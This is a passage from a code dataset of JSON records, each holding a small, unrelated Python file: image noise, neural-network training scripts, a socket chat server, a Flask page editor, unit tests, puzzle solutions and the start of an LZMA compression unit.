0.05的椒盐噪声\n mask_1 = np.random.choice([0.0, 1.0], ratio, p=[0.005, 0.995])\n # 组成0,255的shape与image一样的随机矩阵\n #因为图像已经归一化(-1,1),所以直接加0,255是不对的,应该是-1,1\n mask_0_255 = np.random.choice([-1.0, 1.0], ratio, p=[0.5, 0.5])\n # 0.1的概率为0,其余为1\n mask_1_tensor = torch.tensor(mask_1, dtype=torch.float).reshape(1, 4, 8, 256, 256).cuda()\n # 用来放噪声的点\n mask_pepper = pepper - mask_1_tensor\n mask_0_255_tensor = torch.tensor(mask_0_255, dtype=torch.float).reshape(1, 4, 8, 256, 256).cuda()\n noise = mask_0_255_tensor * mask_pepper\n # 丢失部分数据\n img1 = img_tensor * mask_1_tensor + noise\n return img1\n# if __name__ =='__main__':\n# img = imageio.mimread('F:/pjj_ad/实验/samples/0.cover.gif')\n# img_tensor = torch.Tensor(img).permute(3,0,1,2).unsqueeze(0)\n# pepper = torch.ones_like(img_tensor)\n# ratio = int(img_tensor.shape[3] * img_tensor.shape[4] * 4*8)\n# mask_1 = np.random.choice([0.0, 1.0], ratio, p=[0.1, 0.9])\n# # 组成0,255的shape与image一样的随机矩阵\n# mask_0_255 = np.random.choice([0.0, 255.0], ratio, p=[0.5, 0.5])\n# # 0.1的概率为0,其余为1\n# mask_1_tensor = torch.tensor(mask_1, dtype=torch.float).reshape(1, 4, 8, 256, 256)\n# # 用来放噪声的点\n# mask_pepper = pepper - mask_1_tensor\n#\n# mask_0_255_tensor = torch.tensor(mask_0_255, dtype=torch.float).reshape(1, 4, 8, 256, 256)\n# noise = mask_0_255_tensor * mask_pepper\n#\n# # 丢失部分数据\n# img1 = img_tensor * mask_1_tensor + noise\n# img1 = img1.squeeze(0).permute(1,2,3,0)\n# img1 = img1.detach().cpu().numpy()\n# imageio.mimsave('F:/pjj_ad/实验/samples/0.salt.gif',img1.astype('uint8'))\n","sub_path":"pytorch_salt_and_pepper_new.py","file_name":"pytorch_salt_and_pepper_new.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"68685908","text":"from itertools import permutations\n\nclass Solution:\n\n def __init__(self, nums: List[int]):\n self._orig = nums\n self._current = nums\n self._perm = permutations(nums)\n next(self._perm)\n \n\n def reset(self) -> List[int]:\n \"\"\"\n Resets the array to its original configuration and return it.\n \"\"\"\n self._current = self._orig\n return self._current\n\n def shuffle(self) -> List[int]:\n \"\"\"\n Returns a random shuffling of the array.\n \"\"\"\n try:\n self._current = next(self._perm)\n except:\n self._perm = permutations(self._orig)\n return self.shuffle()\n return self._current","sub_path":"384. Shuffle an Array.py","file_name":"384. Shuffle an Array.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"586679888","text":"from chroniclepy.chroniclepy import summarising, preprocessing, subsetting\nimport unittest\n\nclass PreprocessingTest(unittest.TestCase):\n def test_no_args(self):\n print(\"Running preprocessing without arguments\")\n preprocessing.preprocess_folder(\n infolder='resources/rawdata',\n outfolder='resources/preprocessed'\n )\n self.assertTrue(True)\n\n def test_args(self):\n print(\"Running preprocessing with arguments\")\n preprocessing.preprocess_folder(\n infolder='resources/rawdata',\n outfolder='resources/preprocessed',\n precision = 3600,\n sessioninterval = [30]\n )\n\nclass SubsettingTest(unittest.TestCase):\n def test_no_args(self):\n print(\"Running subsetting\")\n subsetting.subset(\n infolder='resources/preprocessed',\n outfolder='resources/preprocessed',\n removefile='resources/remove.csv',\n subsetfile='resources/subset.csv',\n )\n\nclass SummaryTest(unittest.TestCase):\n def test_no_args(self):\n print(\"Running summary test without arguments\")\n summarising.summary(\n infolder = 'resources/preprocessed',\n outfolder = 'resources/output',\n includestartend = True\n )\n\n def test_args(self):\n print(\"Running summary with arguments\")\n summarising.summary(\n infolder='resources/preprocessed',\n outfolder='resources/output',\n includestartend=True,\n recodefile='resources/categorisation.csv',\n quarterly=False,\n splitweek=True,\n weekdefinition=\"weekdayMF\",\n splitday=False,\n maxdays=2\n )\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"chroniclepy/test/test_summary_test.py","file_name":"test_summary_test.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"547649404","text":"import keras\nfrom keras import layers\nfrom keras import backend as K\nfrom keras.models import Model\n\nimport sys\nimport random\nimport os\nimport numpy as np\nfrom scipy.stats import norm\nfrom keras.preprocessing import image\nfrom keras.preprocessing.image import ImageDataGenerator\n\n\nheight = 64\nwidth = 64\nchannels = 3\n\n# directory\nbase_dir = '.'\ntrain_dir = os.path.join(base_dir,'generate2')\n\n# prepare data generator\ntrain_datagen = ImageDataGenerator(rescale = 1./255)\n\ntrain_gen = train_datagen.flow_from_directory(\n train_dir,\n target_size = (height,width),\n batch_size = 1000,\n class_mode = 'binary')\n\n\n\ndef generator_range(gen,count):\n retList = gen.next()[0]\n\n index = 1\n while index < count:\n img = gen.next()[0]\n retList = np.concatenate([retList,img],axis = 0)\n index += 1\n print(str(index))\n \n return retList\n \n\t\ndef import_data():\n # prepare data\n x_train = generator_range(train_gen,10)\n return x_train\n\t\n\n# set up encoder network\nimg_shape = (height,width,channels)\nbatch_size = 20\nlatent_dim = 2\n\ninput_img = keras.Input(shape = img_shape)\nx = layers.Conv2D(32,3,padding = 'same',activation = 'relu')(input_img)\nx = layers.Conv2D(64,3,padding = 'same',activation = 'relu',strides = (2,2))(x)\nx = layers.Conv2D(64,3,padding = 'same',activation = 'relu')(x)\nx = layers.Conv2D(64,3,padding = 'same',activation = 'relu')(x)\nshape_before_flattening = K.int_shape(x)\n\nx = layers.Flatten()(x)\nx = layers.Dense(32,activation = 'relu')(x)\n\nz_mean = layers.Dense(latent_dim)(x)\nz_log_var = layers.Dense(latent_dim)(x)\n\n\ndef sampling(args):\n z_mean, z_log_var = args\n epsilon = K.random_normal(shape = (K.shape(z_mean)[0], latent_dim),mean = 0.,stddev = 1.)\n \n return z_mean + K.exp(z_log_var) * epsilon\n\nz = layers.Lambda(sampling)([z_mean,z_log_var])\n\n\n# set up decoder network\ndecoder_input = layers.Input(K.int_shape(z)[1:])\nx = layers.Dense(np.prod(shape_before_flattening[1:]),activation = 'relu')(decoder_input)\nx = layers.Reshape(shape_before_flattening[1:])(x)\nx = layers.Conv2DTranspose(32,3,padding = 'same',activation = 'relu',strides = (2,2))(x)\nx = layers.Conv2D(3,3,padding = 'same',activation = 'sigmoid')(x)\n\ndecoder = Model(decoder_input,x)\nz_decoded = decoder(z)\n\nclass CustomLossLayer(keras.layers.Layer):\n def vae_loss(self,x,z_decoded):\n x = K.flatten(x)\n z_decoded = K.flatten(z_decoded)\n xent_loss = keras.metrics.binary_crossentropy(x,z_decoded)\n kl_loss = -5e-4 * K.mean(1 + z_log_var - K.square(z_mean) - K.exp(z_log_var),axis = -1)\n return K.mean(xent_loss + kl_loss)\n \n def call(self,inputs):\n x = inputs[0]\n z_decoded = inputs[1]\n loss = self.vae_loss(x,z_decoded)\n self.add_loss(loss,inputs = inputs)\n return x \n\n \ny = CustomLossLayer()([input_img,z_decoded])\n \n\n# link the model\nvae = Model(input_img,y)\nvae.compile(optimizer = 'rmsprop',loss = None)\n\n\n# generate\ndef generate_new_map():\n n = 10\n figure = np.zeros((height * n,width * n,channels))\n grid_x = norm.ppf(np.linspace(0.05,0.95,n))\n grid_y = norm.ppf(np.linspace(0.05,0.95,n))\n \n for i,y in enumerate(grid_y):\n for j,x in enumerate(grid_x):\n z_sample = np.array([[x,y]])\n z_sample =np.tile(z_sample,batch_size).reshape(batch_size,2)\n x_decoded = decoder.predict(z_sample,batch_size = batch_size)\n \n digit = x_decoded[0].reshape(height,width,channels)\n \n figure[i*height:(i+1)*width,\n j*height:(j+1)*width] = digit\n \n ret_img = image.array_to_img(figure*255,scale=False)\n return ret_img\n \n \n\nitera = 1\nfor step in range(itera):\n \n \n print('iteration: ',str(step))\n x_train = import_data() \n \n vae.compile(optimizer = 'rmsprop',loss = None)\n \n vae.fit(x = x_train, y = None,\n shuffle = True,\n epochs = 20,\n batch_size = 10)\n \n img = generate_new_map()\n img.save(os.path.join(base_dir,str(step) + '.png'))\n\n\n\n\n\n\n\n\n\n\n","sub_path":"final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"101460916","text":"import os\nfrom frictionless import Package\nfrom frictionless.plugins.dataflows import DataflowsPipeline\n\n\n# General\n\n\ndef test_pipeline(tmpdir):\n\n # Write\n pipeline = DataflowsPipeline(\n {\n \"type\": \"dataflows\",\n \"steps\": [\n {\"type\": \"load\", \"spec\": {\"loadSource\": \"data/table.csv\"}},\n {\"type\": \"setType\", \"spec\": {\"name\": \"id\", \"type\": \"string\"}},\n {\"type\": \"dumpToPath\", \"spec\": {\"outPath\": tmpdir}},\n ],\n }\n )\n pipeline.run()\n\n # Read\n package = Package(os.path.join(tmpdir, \"datapackage.json\"))\n assert package.get_resource(\"table\").read_rows() == [\n {\"id\": \"1\", \"name\": \"english\"},\n {\"id\": \"2\", \"name\": \"中国人\"},\n ]\n","sub_path":"tests/plugins/test_dataflows.py","file_name":"test_dataflows.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"78079291","text":"from socket import *\r\nfrom _thread import *\r\n\r\ndef on_new_client(clientsocket,addr):\r\n while True:\r\n msg = clientsocket.recv(1024)\r\n #do some checks and if msg == someWeirdSignal: break:\r\n print (addr[0], ' mensaje: ', msg.decode())\r\n msg = input('Mensaje para ' + addr[0] + ': ')\r\n #Maybe some code to compute the last digit of PI, play game or anything else can go here and when you are done.\r\n clientsocket.send(msg.encode())\r\n clientsocket.close()\r\n\r\n# VARIABLES\r\nHOST = 'localhost' # Direccion IP del seridor\r\nPORT = 50025\r\nserver = (HOST, PORT)\r\n\r\n# SOCKET\r\nsock = socket() # Create a socket object\r\nsock.bind(server) # Bind to the port\r\nsock.listen(5) # Number of connections\r\n\r\n\r\nwhile True:\r\n conn, addr = sock.accept() # Establish connection with client.\r\n print (\"Conectado con: \", addr)\r\n start_new_thread(on_new_client,(conn,addr))\r\nsock.close()\r\n","sub_path":"Chat n-1 localhost/serverSocket.py","file_name":"serverSocket.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"385505921","text":"from flask import (Blueprint, render_template, abort, request, redirect,\n current_app, url_for, flash, Markup)\nfrom jinja2 import TemplateNotFound\nfrom subscribie.auth import login_required\nfrom subscribie.models import database, Page\nfrom pathlib import Path\nimport yaml\n\nmodule_pages = Blueprint('pages', __name__, template_folder='templates')\n\n@module_pages.route('/pages/index') # Module index page\n@module_pages.route('/Add-pages')\n@login_required\ndef get_module_pages_index():\n \"\"\"Return module_pages index page\"\"\"\n\n return render_template('module_pages_index.html')\n\n@module_pages.route('/add-page')\n@login_required\ndef add_page():\n \"\"\"Return add page form\"\"\"\n return render_template('add_page.html')\n\n@module_pages.route('/delete-pages')\n@login_required\ndef delete_pages_list():\n pages = Page.query.all()\n return render_template('delete_pages_list.html', pages=pages)\n\n@module_pages.route('/delete-page/', methods=['POST', 'GET'])\n@login_required\ndef delete_page_by_path(path):\n \"\"\"Delete a given page\"\"\"\n if \"confirm\" in request.args:\n confirm = False\n return render_template(\n \"delete_pages_list.html\",\n path=path,\n confirm=False,\n )\n # Perform template file deletion\n templateFile = path + '.html'\n templateFilePath = Path(str(current_app.config['THEME_PATH']), templateFile)\n try:\n templateFilePath.unlink()\n except FileNotFoundError:\n pass\n\n # Perform page deletion\n page = Page.query.filter_by(path=path).first()\n database.session.delete(page)\n database.session.commit()\n\n flash(f'Page \"{path}\" deleted.')\n return redirect(url_for('views.reload_app') + '?next=' + url_for('pages.delete_pages_list'))\n\n@module_pages.route('/edit-pages')\n@login_required\ndef edit_pages_list():\n pages = Page.query.all()\n return render_template('edit_pages_list.html', pages=pages)\n\n@module_pages.route('/edit-page/', methods=['POST', 'GET'])\n@login_required\ndef edit_page(path):\n \"\"\"Edit a given page\"\"\"\n page = Page.query.filter_by(path=path).first()\n if request.method == 'GET':\n # Get page file contents\n template_file = page.template_file\n with open(Path(str(current_app.config['THEME_PATH']), template_file)) as fh:\n rawPageContent = fh.read()\n return render_template('edit_page.html', rawPageContent=rawPageContent, pageTitle=path)\n\n elif request.method == 'POST':\n try:\n page_title = request.form['page-title']\n page.title = page_title\n except KeyError:\n return \"Error: Page title is required\"\n\n try:\n page_body = request.form['page-body']\n except KeyError:\n return \"Error: Page body is required\"\n # Generate a valid path for url\n pageName = ''\n for char in page_title:\n if char.isalnum():\n pageName += char\n\n # Generate a valid html filename\n template_file = pageName + '.html'\n page.template_file = template_file\n\n # Detect if page name has been changed\n titleChanged = False\n if path != pageName:\n titleChanged = True\n page.path = pageName\n oldTemplateFile = path + '.html'\n # Rename old template file .old\n oldTemplatePath = Path(str(current_app.config['THEME_PATH']), oldTemplateFile)\n oldTemplatePath.replace(Path(str(current_app.config['THEME_PATH']), oldTemplateFile + '.old'))\n # Writeout new template_file to file\n with open(Path(str(current_app.config['THEME_PATH']), template_file), 'w') as fh:\n fh.write(page_body)\n\n flash(Markup('Page edited. {} '.format(pageName, pageName)))\n\n # Save page to database\n database.session.commit()\n\n # Graceful reload app to load new page\n return redirect(url_for('views.reload_app') + '?next=' + url_for('pages.edit_pages_list'))\n\n\n\n@module_pages.route('/add-page', methods=['POST'])\n@login_required\ndef save_new_page():\n \"\"\"Save the new page\n\n Writes out a new file .html\n and updates page table with the newly \n added page.\n \"\"\"\n try:\n page_title = request.form['page-title']\n except KeyError:\n return \"Error: Page title is required\"\n\n try:\n page_body = request.form['page-body']\n except KeyError:\n return \"Error: Page body is required\"\n\n # Generate a valid path for url\n pageName = ''\n for char in page_title:\n if char.isalnum():\n pageName += char\n # Generate a valid html filename\n template_file = pageName + '.html'\n\n # Check page doesnt already exist\n page = Page.query.filter_by(path=pageName).first()\n if page is not None:\n flash(Markup(f'The page {pageName} already exists'))\n return redirect(url_for('views.reload_app') + '?next=' + url_for('pages.edit_pages_list'))\n\n # Add new page\n page = Page()\n page.page_name = pageName\n page.path = pageName\n page.template_file = template_file\n database.session.add(page)\n database.session.commit()\n\n # Writeout template_file to file\n with open(Path(str(current_app.config['THEME_PATH']), template_file), 'w') as fh:\n fh.write(page_body)\n\n flash(Markup('Your new page {} will be visable after reloading'.format(pageName, pageName)))\n\n # Graceful reload app to load new page\n return redirect(url_for('views.reload_app') + '?next=' + url_for('pages.edit_pages_list'))\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"536612267","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nimport matplotlib.image as mpimg\n\nin_img = cv2.imread(\"0003_medium.jpg\")\nkernel = np.ones((5,2),np.uint8)\nkernel1 = np.ones((5,1),np.uint8)/5\nfor i in range(1):\n print(i)\n in_img = cv2.erode(in_img,kernel)\n #in_img = cv2.filter2D(in_img,-1,kernel1)\n in_img = cv2.dilate(in_img,kernel)\ngray = cv2.cvtColor(in_img,cv2.COLOR_BGR2GRAY)\ngauss = cv2.GaussianBlur(gray,(9,9),0)\nedges = cv2.Canny(gauss,10 ,100)\nLSD = cv2.createLineSegmentDetector()\nlines, width, prec, nfa = LSD.detect(edges)\ncolor = cv2.cvtColor(gray,cv2.COLOR_GRAY2BGR)\nfor i in range(len(lines)):\n for x1,y1,x2,y2 in lines[i] :\n cv2.line(color,(x1,y1),(x2,y2),(0,0,255),1)\ndisp_in_img = cv2.cvtColor(color, cv2.COLOR_BGR2RGB)\n\nplt.imshow(disp_in_img)\nplt.show()\n","sub_path":"code/sam_scratchwork/OPENCV_test/segment_test_ii.py","file_name":"segment_test_ii.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"90118496","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MaxNLocator\nimport matplotlib.style as style\nfrom collections import namedtuple\nstyle.use('seaborn-dark')\n\ndef set_ax(ax, title, case):\n ax.set_ylabel('Performance (%)')\n ax.set_xlabel('Metric')\n ax.set_title(title, fontsize=20)\n if (case==1):\n ax.set_xticks([0,1,2,3])\n ax.set_xticks([0,1,2,3,4])\n elif (case ==2):\n ax.set_xticks([0.25,1.25,2.25,3.25])\n ax.set_xticks([0.25,1.25,2.25,3.25,4.25])\n ax.set_xticklabels(('APRI', 'FIB4', 'Experts', 'ENS1\\n66.5%', 'ENS3\\n66.5%'))\n ax.minorticks_on()\n ax.grid(True)\n ax.set_ylim([0,100])\n \ndef plot_stuff(perfs, ax):\n index = np.arange(n_groups)\n bar_width = 0.5\n opacity = 1\n \n rects1 = ax.bar(index, perfs, bar_width,\n alpha=opacity, linewidth=3, edgecolor='black', color='lightblue')\n labels = [\"%0.1f\" % perfs[i] for i in range(len(ax.patches))]\n #patterns = ['/','||','\\\\','-'] \n \n count = 0\n for rect, label in zip(ax.patches, labels):\n height = rect.get_height()\n ax.text(rect.get_x() + rect.get_width() / 2, height, label,\n ha='center', va='bottom', fontsize=12.5)\n #rect.set_hatch(patterns[count])\n count += 1\n \ndef plot_stuff_2(perfs1, perfs2, ax):\n index = np.arange(n_groups)\n bar_width = 0.4\n opacity = 1\n\n rects1 = ax.bar(index, perfs1, bar_width,\n alpha=opacity, linewidth=3, edgecolor='black', color='lightgreen', hatch='/',\n label='')\n labels = [\"%0.1f\" % perfs1[i] for i in range(len(ax.patches))]\n for rect, label in zip(ax.patches, labels):\n height = rect.get_height()\n ax.text(rect.get_x() + rect.get_width() / 2, height, label,\n ha='center', va='bottom')\n \n rects2 = ax.bar(index + bar_width, perfs2, bar_width,\n alpha=opacity, linewidth=3, edgecolor='black', color='lightblue', hatch='\\\\',\n label='')\n labels = [\"%0.1f\" % perfs2[i] for i in range(0,len(perfs2))]\n for rect, label in zip(rects2.patches, labels):\n height = rect.get_height()\n ax.text(rect.get_x() + rect.get_width() / 2, height, label,\n ha='center', va='bottom')\n\n# Toronto Performance Metrics\nn_groups = 5 # Sensitivity, PPV, Specificity, NPV\n#SENS = (37.8, 66.7, 78.2, 82.7)\n#SPEC = (88.1, 82.1, 75.5, 71.7)\n#PPV = (77.3, 77.4, 78.2, 76.8)\n#NPV = (56.9, 72.7, 75.5, 78.6)\n#ACC = (62.1, 74.7, 76.9, 77.6)\n#AUROC = (71.9, 82.7, 83.9, 84.8)\n#AUPRC = (64.3, 78.1, 86.0, 86.8)\n#INDET = (16.4, 27.9, 0, 5.8)\n\n\n#APRI_perfs = (37.8, 88.1, 77.3, 56.9)\n#FIB4_perfs = (66.7, 82.1, 77.4, 72.7)\n#ENS3_30 = (88.5, 56.8, 70.8, 80.6)\n#ENS3_50 = (81.1, 73.9, 78.2, 77.3)\n#ENS3_70 = (70.2, 86.7, 84.6, 73.6)\n\n# Montreal Performance Metrics \n # APRI, FIB4, ENS1, ENS3\n#SENS = (38.2, 70.5, 81.0, 85.0)\n#SPEC = (89.1, 80.0, 68.8, 65.6)\n#PPV = (40.6, 47.0, 45.1, 44.0)\n#NPV = (88.1, 91.3, 92.0, 93.2)\n#ACC = (80.9, 77.8, 71.8, 70.3)\n#AUROC = (64.6, 81.7, 81.3, 82.0)\n#AUPRC = (33.8, 51.5, 54.6, 53.9)\n#INDET = (20.2, 17.6, 0, 5.0)\n#\n## Expert Performance Metrics \n## Apri, FIB4, 5 Experts, ENS1, ENS3\nSENS = (50.0, 66.7, 54.6, 54.5, 70.0)\nSPEC = (72.4, 69.2, 78.2, 79.4, 75.0)\nPPV = (33.3, 42.9, 45.9, 46.2, 46.7)\nNPV = (84.0, 85.7, 84.4, 88.9, 84.1)\nACC = (67.6, 68.6, 73.3, 73.8, 72.4)\nAUROC = (74.1, 71.2, np.nan, 75.9, 76.2)\nAUPRC = (32.4, 59.7, np.nan, 61.7, 62.9)\nINDET = (17.8, 22.2, 0, 0, 6.7)\n\nplt.rcParams['figure.figsize'] = (20,4)\nfig, ((ax1, ax2, ax3, ax4, ax5, ax6)) = plt.subplots(1,6, sharex=False, sharey=False)\n\nplot_stuff(SENS, ax1)\nset_ax(ax1, 'Sensitivity',1)\n\nplot_stuff(SPEC, ax2)\nset_ax(ax2, 'Specificity',1)\n\nplot_stuff(PPV, ax3)\nset_ax(ax3, 'PPV',1)\n\nplot_stuff(NPV, ax4)\nset_ax(ax4, 'NPV',1)\n\nplot_stuff(ACC, ax5)\nset_ax(ax5, 'Accuracy',1)\n\nplot_stuff(INDET, ax6)\nset_ax(ax6, '% Indeterminate', 1)\n\n#plot_stuff(AUROC, ax7)\n#set_ax(ax7, 'AUROC',1)\n#\n#plot_stuff(AUPRC, ax8)\n#set_ax(ax8, 'AUPRC', 1)\n\n\n#plot_stuff(ENS3_3, ax3)\n#set_ax(ax3, 'ENS3 @ 30%')\n#\n#plot_stuff(ENS3_50, ax4)\n#set_ax(ax4, 'ENS3 @ 50%')\n#\n#plot_stuff(ENS3_70, ax5)\n#set_ax(ax5, 'ENS3 @ 70%')\n\nplt.minorticks_on()\nplt.subplots_adjust(right=0.75, left=0)\nfig.tight_layout()\nplt.show()\n\n","sub_path":"pre_LDH_code/Plotting Scripts/PlotFinalResults/plotFinalResults.py","file_name":"plotFinalResults.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"482889769","text":"import tensorflow as tf\nimport tflearn\n\nX = [[0., 0.], [0., 1.], [1., 0.], [1., 1.]]\nY = [[0.], [1.], [1.], [0.]]\n\n'''\n-- AND --\nX = [[0., 0.], [0., 1.], [1., 0.], [1., 1.]]\nY = [[0.], [0.], [0.], [1.]]\n\n-- OR --\nX = [[0., 0.], [0., 1.], [1., 0.], [1., 1.]]\nY = [[0.], [1.], [1.], [1.]]\n'''\n# Graph definition\nwith tf.Graph().as_default():\n\t# normalize weights \n norm_weights = tflearn.initializations.uniform(minval=-1.0, maxval=1.0)\n net = tflearn.input_data(shape=[None, 2])\n net = tflearn.fully_connected(net, 2, activation='sigmoid', weights_init=norm_weights)\n net = tflearn.fully_connected(net, 1, activation='sigmoid', weights_init=norm_weights)\n regressor = tflearn.regression(net, optimizer='sgd', learning_rate=2., loss='mean_square')\n model = tflearn.DNN(regressor)\n model.fit(X, Y, n_epoch=10000, snapshot_epoch=False) \n\nprint('Predict 0,0:',round(model.predict([[0,0]])[0][0]))\nprint('Predict 0,1:',round(model.predict([[0,1]])[0][0]))\nprint('Predict 1,0:',round(model.predict([[1,0]])[0][0]))\nprint('Predict 1,1:',round(model.predict([[1,1]])[0][0]))","sub_path":"logic_tables.py","file_name":"logic_tables.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"200743351","text":"\r\nclass Shape(object):\r\n \"A list of primitives\"\r\n\r\n def __init__(self, items=None):\r\n self.primitives = []\r\n if items:\r\n self.add_items(items)\r\n\r\n def add_items(self, items):\r\n \"Add a list of primitives and shapes\"\r\n for item in items:\r\n if isinstance(item, Shape):\r\n self.add_shape(item)\r\n else:\r\n self.primitives.append(item)\r\n\r\n def add_shape(self, other):\r\n \"Add the primitives from a given shape\"\r\n for prim in other.primitives:\r\n self.primitives.append(prim)\r\n\r\n","sub_path":"py help/05. open gl/Stretching pyglets wings/demo4-severalPrimitivesPerShape/shape.py","file_name":"shape.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"101878704","text":"#region packages\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n#endregion\n\n'''\nThis implements a neural network with no hidden layers,\nSo we have one neuron which takes the inputs,\nmatrix multiplies the weights, adds the bias and\npushes it through a softmax activation function\n'''\n\n#region public methods\ndef run():\n # this is a helper function built into TF and not the traditional way data is fed into TF\n mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n\n # Placeholder for 28 X 28 (=784) image data\n x = tf.placeholder(tf.float32, shape=[None, 784])\n\n # stores the predicted digit(0-9) class in one-hot encoded format. e.g. [0,1,0,0,0,0,0,0,0,0] for 1, [0,0,0,0,0,0,0,0,0,1] for 9\n y_ = tf.placeholder(tf.float32, [None, 10])\n\n # define weights and bias - these are what we update/train when optimising\n W = tf.Variable(tf.zeros([784, 10]))\n b = tf.Variable(tf.zeros([10]))\n\n # define our inference model that will perform the prediction\n y = tf.nn.softmax(tf.matmul(x, W) + b)\n\n # softmax is used in multiclass NNs: \n # https://developers.google.com/machine-learning/crash-course/multi-class-neural-networks/softmax\n\n # review the shapes for cross entropy\n print(\"y shape: {0}\".format(y.get_shape()))\n print(\"y_ shape: {0}\".format(y_.get_shape()))\n\n # loss is cross entropy\n # sm_ce_wi_log used to \n # https://www.tensorflow.org/api_docs/python/tf/nn/softmax_cross_entropy_with_logits\n # https://stackoverflow.com/questions/34240703/what-is-logits-softmax-and-softmax-cross-entropy-with-logits\n\n # reduce_mean used to get a single mean value from a multi-dimensional tensor\n # https://www.tensorflow.org/api_docs/python/tf/math/reduce_mean\n cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y))\n\n # each training step in gradient decent we want to minimize cross entropy\n train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\n # initialize the global variables\n init = tf.global_variables_initializer()\n\n # create an interactive session that can span multiple code blocks. Don't \n # forget to explicity close the session with sess.close()\n sess = tf.Session()\n\n # perform the initialization which is only the initialization of all global variables\n sess.run(init)\n\n # Perform 1000 training steps\n for i in range(1000):\n batch_xs, batch_ys = mnist.train.next_batch(100) # get 100 random data points from the data. batch_xs = image, \n # batch_ys = digit(0-9) class\n sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys}) # do the optimization with this data\n\n # Evaluate how well the model did. Do this by comparing the digit with the highest probability in \n # actual (y) and predicted (y_).\n correct_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n test_accuracy = sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels})\n print(\"Test Accuracy: {0}%\".format(test_accuracy * 100.0))\n\n sess.close()\n#endregion\n\nrun()","sub_path":"packages/tf/ps/01-getting-started/02-Simple_NN_MNIST.py","file_name":"02-Simple_NN_MNIST.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"445921534","text":"from numpy import prod\r\n\r\ndef factors(n):\r\n\tfactors_dict = dict()\r\n\twhile n > 1:\r\n\t\tfor i in range(2, n+1):\r\n\t\t\tif n % i == 0:\r\n\t\t\t\tn = n // i\r\n\t\t\t\tif str(i) not in factors_dict:\r\n\t\t\t\t\tfactors_dict[str(i)] = 0\r\n\t\t\t\tfactors_dict[str(i)] += 1\r\n\t\t\t\tbreak\r\n\treturn factors_dict\r\n\r\ndef convertFracts(lst):\r\n\ttotal = dict()\r\n\r\n\tfor item in lst:\r\n\t\tdenominator = item[1]\r\n\t\tfor f, v in factors(denominator).items():\r\n\t\t\tif f not in total or v > total[f]:\r\n\t\t\t\ttotal[f] = v\r\n\tdenominator = prod([int(k) ** v for k, v in total.items()])\r\n\t\r\n\tfor item in lst:\r\n\t\titem[0] = item[0] * (denominator // item[1])\r\n\t\titem[1] = denominator\r\n\treturn lst\r\n","sub_path":"Codewars/Python/5 kyu Common Denominators.py","file_name":"5 kyu Common Denominators.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"527534007","text":"\ndef divides(numerator, divisor):\n return numerator % divisor == 0\n\ndef fizz_buzz(number):\n if divides( number, 15 ):\n print('FizzBuzz')\n elif divides( number, 3 ):\n print('Fizz')\n elif divides( number, 5 ):\n print('Buzz')\n else:\n print(number)\n\n\nfor num in range(1, 101):\n fizz_buzz( num )\n\n# fizz_buzz(45)\n","sub_path":"day04/fizzbuzz.py","file_name":"fizzbuzz.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"489169084","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport lzma as lzma_\n\nfrom .. import arg, Unit, RefineryPartialResult\nfrom ...lib.argformats import OptionFactory, extract_options\nfrom ...lib.structures import MemoryFile\n\n__all__ = ['lzma']\n\n\nclass lzma(Unit):\n \"\"\"\n LZMA compression and decompression.\n \"\"\"\n _LZMA_FILTER = extract_options(lzma_, 'FILTER_', 'DELTA')\n _LZMA_PARSER = OptionFactory(_LZMA_FILTER)\n\n def __init__(\n self, filter: arg.choice(choices=list(_LZMA_FILTER), metavar='FILTER', help=(\n 'Specifies a bcj filter to be applied. Possible values are: {choices}')) = None,\n raw : arg.switch('-r', group='MODE', help='Use raw (no container) format.') = False,\n alone : arg.switch('-a', group='MODE', help='Use the lzma container format.') = False,\n xz : arg.switch('-x', group='MODE', help='Use the default xz format.') = False,\n level : arg.number('-l', bound=(0, 9), help='The compression level preset; between 0 and 9.') = 9,\n delta : 